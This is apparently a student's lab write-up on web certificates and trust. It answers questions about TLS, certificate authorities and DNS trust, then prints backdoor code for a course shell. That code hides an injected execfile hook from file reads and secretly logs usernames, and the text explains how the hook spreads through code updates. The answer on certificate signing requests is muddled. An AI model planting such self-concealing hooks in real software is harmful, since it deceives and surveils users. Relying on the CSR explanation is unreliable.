6.033
COMPUTER SYSTEMS ENGINEERING
HANDS ON 11: WEB CERTIFICATES AND TRUST

JOHN WANG

1. Warmup

(1) You should type *cat shell.py* in order to see the source of the "shell.py" file.
(2) The prompt has changed, but the code now contains the unicode for the different colors it stores. Finally, the error messages are now also colored.
(3) The *status* command shows the authentication status, and will either show who is logged in or tell you that no one is logged in.

2. Protecting Against Getting Bad Code

(4) The server needs to be trusted, if it is not, then you are talking and giving information to an untrusted party. Second, you must trust the certificate autheorities to give the correct certificates. Finally, you must trust that the operators of the DNS routing you are calling gives you the correct IP address of the server.
(5) The server could implement TLS incorrectly. Second, the certificate authorities could be tricked into granting a certificate to an untrusted server. Finally, the caches in the DNS system could prevent you from having the correct IP address, and you might get sent to an untrusted IP address.
(6) In order to obtain an SSL certificate, you must complete a CSR (Certificate Signing Request). This involves you asking the hosting company to generate the CSR, and you can then provide this to the SSL provider. If the SSL provider trusts the hosting company, then the SSL provider can check to make sure that the CSR was indeed generated from the hosting company.
(7) Using an HTTPS URL could compromise the shell because the urllib library does not attempt to validate the server certificate. This means that if a person were performing a man-in-the-middle attack, then you would have no chance to stop them.

3. Writing a Backdoor

(8) This task took me 1 hour.

4. Code for Malicious File

```
import re

def read_file(filename):
  with open(filename, 'r') as fd:
    read = fd.read()
  return re.sub(r'execfile\(\'malicious_shell\.py\'\)\n', '', read)

def login(args):
  if len(args) != 1:
    raise CommandError("Usage: login username")

  global username
  if username:
    raise CommandError("Already logged in.")
  username = args[0]

  with open("usernames.txt", "a") as f:
    f.write(username + "\n")
```

There is a line of code reading *execfile('malicious_shell.py')* which is inserted before the shell is called at the end of the *shell.py* document, as well as the same line being inserted at the end of the *write_code(new_code)* method definition.